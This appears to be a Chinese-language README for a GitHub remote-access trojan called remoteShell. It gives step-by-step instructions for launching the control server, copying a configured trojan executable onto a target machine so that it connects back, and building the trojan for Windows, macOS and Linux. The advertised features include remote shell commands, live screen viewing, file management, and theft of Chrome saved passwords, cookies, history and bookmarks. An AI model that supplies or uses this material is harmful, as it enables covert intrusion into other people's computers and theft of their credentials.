https://github.com/OblivionTime/remoteShell
https://github.com/OblivionTime/remoteShell/releases
先启动remoteShellServer-win.exe
也就是先启动服务
然后打开马端控制.exe
然后将config.json
和remoteShellTrojan.exe
移植到目标机器上,根据自己的服务器ip
地址修改config.json
文件中的hostname
和port
,如果不知道看自己服务器ip的话可以在命令行输入ipconfig
查看自己的ip
修改完后双击运行remoteShellTrojan.exe
即可,出现下面这种情况则表示连接成功
去马端控制
查看上线的机器
https://codeload.github.com/OblivionTime/remoteShell/zip/refs/heads/main
马端控制是基于vue
和electron
,使用element-UI
框架,通过websocket进行数据传输,使用ffmpeg.exe
实现简单的屏幕录制功能
- shell命令执行
- 实时屏幕
- 文件管理
- 获取chrome浏览器的书签,历史记录,网站保存的账号和密码,网站所有cookie
#拉取前端
git clone https://github.com/OblivionTime/remoteShell.git
# 安装依赖包
yarn
# 调试
yarn serve
# 打包
yarn build
https://codeload.github.com/OblivionTime/remoteShell/zip/refs/heads/server
后端主要通过纯nodejs,后端主要重要在于信息传输,并没有做任何的特殊处理,所以基本上很多功能代码相似
#拉取前端
git clone https://github.com/OblivionTime/remoteShell.git
git chekcout server
# 安装依赖包
yarn
# 调试
yarn serve
# 打包
yarn build
https://codeload.github.com/OblivionTime/remoteShell/zip/refs/heads/trojan
马端纯nodejs实现,主要调用了以下几个库的基本使用
#拉取前端
git clone https://github.com/OblivionTime/remoteShell.git
git chekcout trojan
# 安装依赖包
yarn
# 调试
yarn serve
# 打包成win
yarn build:win
# 打包成mac
yarn build:mac
# 打包成linux
yarn build:linux
hostname
表示后端ip地址,port
表示后端端口,如果当前目录下没有config.json
文件则系统会自动默认为localhost:7880